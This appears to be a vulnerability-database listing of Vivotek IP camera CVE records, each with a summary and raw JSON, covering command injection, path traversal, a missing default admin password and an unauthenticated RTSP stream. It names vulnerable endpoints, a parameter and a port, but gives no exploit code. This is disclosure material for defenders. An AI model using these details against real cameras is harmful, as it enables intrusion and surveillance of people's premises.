Search
Find a vulnerability
Search criteria
76 vulnerabilities by vivotek
CVE-2026-22755 (GCVE-0-2026-22755)
Vulnerability from nvd – Published: 2026-01-13 15:12 – Updated: 2026-01-20 20:33
VLAI
EPSS
VEX
Title
Legacy Vivotek Camera Firmware Command Injection in upload_map.cgi
Summary
Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.This issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Vivotek | Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 |
Affected:
0100a
(custom)
Affected: 0106a (custom) Affected: 0106b (custom) Affected: 0107a (custom) Affected: 0107b_1 (custom) Affected: 0109a (custom) Affected: 0112a (custom) Affected: 0113a (custom) Affected: 0113d (custom) Affected: 0117b (custom) Affected: 0119e (custom) Affected: 0120b (custom) Affected: 0121 (custom) Affected: 0121d (custom) Affected: 0121d_48573_1 (custom) Affected: 0122e (custom) Affected: 0124d_48573_1 (custom) Affected: 012501 (custom) Affected: 012502 (custom) Affected: 0125c (custom) |
Date Public
2026-01-08 17:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-22755",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-13T15:29:25.879272Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-13T15:29:57.030Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/",
"defaultStatus": "unaffected",
"modules": [
"Firmware"
],
"product": "Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0100a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0106a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0106b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0107a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0107b_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "0109a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0112a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0113a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0113d",
"versionType": "custom"
},
{
"status": "affected",
"version": "0117b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0119e",
"versionType": "custom"
},
{
"status": "affected",
"version": "0120b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121d",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121d_48573_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "0122e",
"versionType": "custom"
},
{
"status": "affected",
"version": "0124d_48573_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "012501",
"versionType": "custom"
},
{
"status": "affected",
"version": "012502",
"versionType": "custom"
},
{
"status": "affected",
"version": "0125c",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Larry W. Cashdollar"
}
],
"datePublic": "2026-01-08T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.\u003cp\u003eThis issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c.\u003c/p\u003e"
}
],
"value": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.This issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Not public but easy to reproduce."
}
],
"value": "Not public but easy to reproduce."
}
],
"impacts": [
{
"capecId": "CAPEC-88",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-88 OS Command Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "NONE",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/AU:Y/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-77",
"description": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-20T20:33:02.780Z",
"orgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"shortName": "larry_cashdollar"
},
"references": [
{
"url": "http://www.vapidlabs.com/advisory.php?v=220"
},
{
"url": "https://www.akamai.com/blog/security-research/command-injection-vivotek-legacy-firmware-need-to-know"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Legacy Vivotek Camera Firmware Command Injection in upload_map.cgi",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"assignerShortName": "larry_cashdollar",
"cveId": "CVE-2026-22755",
"datePublished": "2026-01-13T15:12:53.126Z",
"dateReserved": "2026-01-09T14:27:11.646Z",
"dateUpdated": "2026-01-20T20:33:02.780Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66052 (GCVE-0-2025-66052)
Vulnerability from nvd – Published: 2026-01-09 11:54 – Updated: 2026-01-09 12:51 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Command injection in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter "system_ntpIt" used by "/cgi-bin/admin/setparam.cgi" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,
The vendor has not replied to the CNA Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66052",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T12:50:56.686031Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T12:51:10.558Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter \"system_ntpIt\" used by \"/cgi-bin/admin/setparam.cgi\" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,\u0026nbsp;\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter \"system_ntpIt\" used by \"/cgi-bin/admin/setparam.cgi\" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,\u00a0\nThe vendor has not replied to the CNA Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"privilegesRequired": "HIGH",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:54:16.626Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Command injection in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66052",
"datePublished": "2026-01-09T11:54:16.626Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T12:51:10.558Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66051 (GCVE-0-2025-66051)
Vulnerability from nvd – Published: 2026-01-09 11:54 – Updated: 2026-01-09 14:07 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Path traversal in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. It is possible for an authenticated attacker to access resources beyond webroot directory using a direct HTTP request. Due to CVE-2025-66050, a password for administration panel is not set by default.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:22
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66051",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T14:06:46.935487Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T14:07:13.457Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:22:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. I\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003et is possible for an authenticated attacker to access resources beyond webroot directory using a\u0026nbsp;\u003c/span\u003edirect HTTP request. Due to\u0026nbsp;CVE-2025-66050, a password for administration panel is not set \u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eby default\u003c/span\u003e.\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released. \u003cbr\u003e\u003cbr\u003e"
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. It is possible for an authenticated attacker to access resources beyond webroot directory using a\u00a0direct HTTP request. Due to\u00a0CVE-2025-66050, a password for administration panel is not set by default.\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:54:09.170Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Path traversal in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66051",
"datePublished": "2026-01-09T11:54:09.170Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T14:07:13.457Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66050 (GCVE-0-2025-66050)
Vulnerability from nvd – Published: 2026-01-09 11:53 – Updated: 2026-01-09 14:08 Unsupported When Assigned
VLAI
EPSS
VEX
Title
No password set for administrative account in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-1393 - Use of Default Password
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66050",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T14:07:49.180246Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T14:08:08.233Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released. \u003cbr\u003e"
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a by default dos not require to provide any password when logging in as an administrator. While it is possible to set up such a password, a user is not informed about such a need.\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1393",
"description": "CWE-1393 Use of Default Password",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:53:45.338Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "No password set for administrative account in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66050",
"datePublished": "2026-01-09T11:53:45.338Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T14:08:08.233Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66049 (GCVE-0-2025-66049)
Vulnerability from nvd – Published: 2026-01-09 11:53 – Updated: 2026-01-09 16:22 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Unprotected RTSP stream in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera's feed, potentially compromising user privacy and security.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66049",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T16:22:03.331793Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T16:22:19.535Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(252, 252, 252);\"\u003eVivotek\u0026nbsp;IP7137\u0026nbsp;camera with firmware version\u0026nbsp;0200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera\u0027s feed, potentially compromising user privacy and security.\u0026nbsp;\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA. Possibly all firmware versions are affected.\u0026nbsp;\u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released.\u0026nbsp;"
}
],
"value": "Vivotek\u00a0IP7137\u00a0camera with firmware version\u00a00200a is vulnerable to an information disclosure issue where live camera footage can be accessed through the RTSP protocol on port 8554 without requiring authentication. This allows unauthorized users with network access to view the camera\u0027s feed, potentially compromising user privacy and security.\u00a0\nThe vendor has not replied to the CNA. Possibly all firmware versions are affected.\u00a0Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:53:41.060Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Unprotected RTSP stream in Vivotek\u00a0IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66049",
"datePublished": "2026-01-09T11:53:41.060Z",
"dateReserved": "2025-11-21T10:41:30.019Z",
"dateUpdated": "2026-01-09T16:22:19.535Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-12592 (GCVE-0-2025-12592)
